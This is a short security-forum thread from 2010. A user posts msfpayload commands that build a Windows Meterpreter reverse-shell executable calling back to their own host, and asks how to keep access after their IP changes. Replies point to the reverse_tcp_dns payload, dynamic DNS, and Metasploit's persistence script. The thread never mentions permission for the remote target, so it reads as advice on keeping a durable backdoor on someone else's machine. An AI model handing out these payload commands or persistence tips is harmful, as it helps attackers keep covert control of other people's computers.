Results 1 to 4 of 4

Thread: Maintaining Remote Access - Metasploit

  1. #1
    Just burned his ISO
    Join Date
    Jun 2010
    Posts
    2

    Default Maintaining Remote Access - Metasploit

    I have been able to establish a reverse connection on a host outside the network. However when my WLAN IP changes I loose connection to the server.

    I have tried using dns for the LHOST but not luck e.g.

    msfpayload windows/meterpreter/reverse_tcp LHOST=myname.dns.com LPORT=8080 X >msffile.exe
    msfpayload windows/meterpreter/reverse_tcp LHOST=92.18.14.5 LPORT=8080 X >msffile.exe

    How to I maintain access after the external ip used in my server changes.

    Ps I have explored options like metsvc without success. Maybe I can encode the 2 files it creates | upload and execute ?

    Regards

  2. #2
    Senior Member iproute's Avatar
    Join Date
    Jan 2010
    Location
    Midwest, USA
    Posts
    192

    Default Re: Maintaining Remote Access - Metasploit

    I have been able to establish a reverse connection on a host outside the network. However when my WLAN IP changes I loose connection to the server.

    I have tried using dns for the LHOST but not luck e.g.

    msfpayload windows/meterpreter/reverse_tcp LHOST=myname.dns.com LPORT=8080 X >msffile.exe
    msfpayload windows/meterpreter/reverse_tcp LHOST=92.18.14.5 LPORT=8080 X >msffile.exe

    How to I maintain access after the external ip used in my server changes.

    Ps I have explored options like metsvc without success. Maybe I can encode the 2 files it creates | upload and execute ?

    Regards

    to use DNS hostnames, you need to use the payload
    Code:
    windows/meterpreter/reverse_tcp_dns
    Perhaps you should do some more reading as I'm quite sure this is mentioned in more than one place on the forum. Also not good practice to include public IP addresses in your posts.
    Last edited by iproute; 12-17-2010 at 11:04 AM.

  3. #3
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Re: Maintaining Remote Access - Metasploit

    Yes, using reverse_tcp_dns you can use your no-ip.

    And a good way to maintaining access is using persistence script.

    Bye

  4. #4
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: Maintaining Remote Access - Metasploit

    Honestly I think you should try and gather some more knowledge about Metasploit before you start playing around, but then again this is just my opinion.
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

Similar Threads

  1. Maintaining access?
    By s3arch in forum Beginners Forum
    Replies: 6
    Last Post: 01-23-2010, 02:03 AM
  2. Maintaining access through IP addresses
    By veget188 in forum OLD Newbie Area
    Replies: 4
    Last Post: 04-03-2009, 06:42 PM
  3. remote access
    By benzslr123 in forum OLD Newbie Area
    Replies: 14
    Last Post: 04-03-2009, 05:47 PM
  4. Dump remote SAM from within metasploit?
    By Dissident85 in forum OLD Pentesting
    Replies: 6
    Last Post: 09-20-2008, 08:34 AM
  5. remote KDE access- freenx on backtrack
    By fundutzi in forum OLD BT3beta General
    Replies: 5
    Last Post: 08-07-2008, 09:49 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •